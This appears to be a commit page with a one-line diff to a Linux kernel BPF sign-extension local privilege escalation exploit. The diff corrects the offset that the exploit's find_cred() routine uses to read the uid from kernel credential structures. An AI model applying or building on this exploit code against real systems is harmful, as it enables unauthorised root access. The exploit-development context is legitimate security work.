Land #14279, Fix incorrect offset in BPF sign extension LPE
This commit is contained in:
commit
65fcf67ca5
|
@ -456,7 +456,7 @@ static unsigned long find_cred() {
|
|||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
unsigned long test_uid = (read64(cred_struct + sizeof(int)) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
|
|
Binary file not shown.
Loading…
Reference in New Issue